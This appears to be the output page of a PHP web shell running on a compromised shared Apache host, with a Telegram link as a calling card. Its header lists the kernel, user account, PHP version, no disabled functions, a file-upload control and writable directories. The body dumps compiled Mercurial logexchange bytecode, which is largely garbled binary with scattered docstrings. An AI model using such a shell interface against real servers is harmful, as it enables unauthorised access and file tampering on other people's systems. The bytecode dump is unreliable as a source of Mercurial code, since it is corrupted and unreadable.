https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/mercurial/__pycache__/logexchange.cpython-310.pyc
o

�]Lb��@srddlmZddlmZddlmZmZmZddl	m
Z
dZdd�Zd	d
�Z
dd�Zddd�Zdd�Zdd�Zd
S)�)�absolute_import�)�hex)�pycompat�util�vfs)�urlutilslogexchangec		cs��t�|j�t��}|�|�sdS||�}d}|D]*}|��}|s"q|dkr*|d7}z|�d�\}}}|||fVWqtyCYqw|��dS)z�
    reads a file from .hg/logexchange/ directory and yields it's content
    filename: the file to be read
    yield a tuple (node, remotepath, name)
    Nrr�)	�vfsmodr�join�
remotenamedir�exists�strip�split�
ValueError�close)	�repo�filenamer�f�lineno�line�node�remote�rname�r�7/usr/lib/python3/dist-packages/mercurial/logexchange.py�readremotenamefiles&�
�rccs2�t|d�D]}|Vqt|d�D]}|VqdS)a
    read the details about the remotenames stored in .hg/logexchange/ and
    yields a tuple (node, remotepath, name). It does not yields information
    about whether an entry yielded is branch or bookmark. To get that
    information, call the respective functions.
    �	bookmarks�branchesN)r)r�bmentry�branchentryrrr�readremotenames6s��r!cCs�t�|j�t��}||ddd�}|�d�tt||��}t|�D]\}}}	||kr3|�d|||	f�q tt�	|��D](\}
}|dkrS|D]}|�d|||
f�qEq;|dkrc|rc|�d|||
f�q;|�
�dS)N�wT)�
atomictemps0

s	%s%s%s
rr)r
rrr�write�setr�sortedr�	iteritemsr)r�
remotepath�names�nametyperr�olddatar�oldpathr�name�nrrr�writeremotenamefileDs$
���r/NcCsT|��}z |rt|||d�|rt|||d�W|��dSW|��dS|��w)z�
    save remotenames i.e. remotebookmarks and remotebranches in their
    respective files under ".hg/logexchange/" directory.
    rrN)�wlockr/�release)rr(�branches�	bookmarksr0rrr�saveremotenames\s�r4cCs�|��}|}|rt�|jj�}nt|t�s|j}|j�	d�D]"\}}t
�|�}t�t|��}t�|�}||ks;||kr@|}|Sq|S)zreturns remote pathspaths)�localr�pconvert�_repo�root�
isinstance�bytes�_url�ui�configitemsr�
removeauth)rrr5�rpath�path�url�	noauthurlrrr�
activepathks 


�rCcCs�t||�}|���}|�dddi���}Wd�n1swYi}|��}|���}|�di���}Wd�n1s@wYt�|�D] \}}	g||<|	D]}
|
|vri||
��si||�t	|
��qTqJt
||||�dS)z�
    pulls bookmarks and branches information of the remote repo during a
    pull or clone operation.
    localrepo is our local repository
    remoterepo is the peer instance
    slistkeyss	namespacerNs	branchmap)rC�commandexecutor�callcommand�result�
unfilteredrr'�obsolete�appendrr4)�	localrepo�
remoterepor(�er3�bmapr�	branchmap�branch�nodesrrrr�pullremotenames�s.

����
���rQ)NN)�
__future__rrr�rrrr
�utilsrrrr!r/r4rCrQrrrr�<module>s


https://t.me/RX1948 - 2025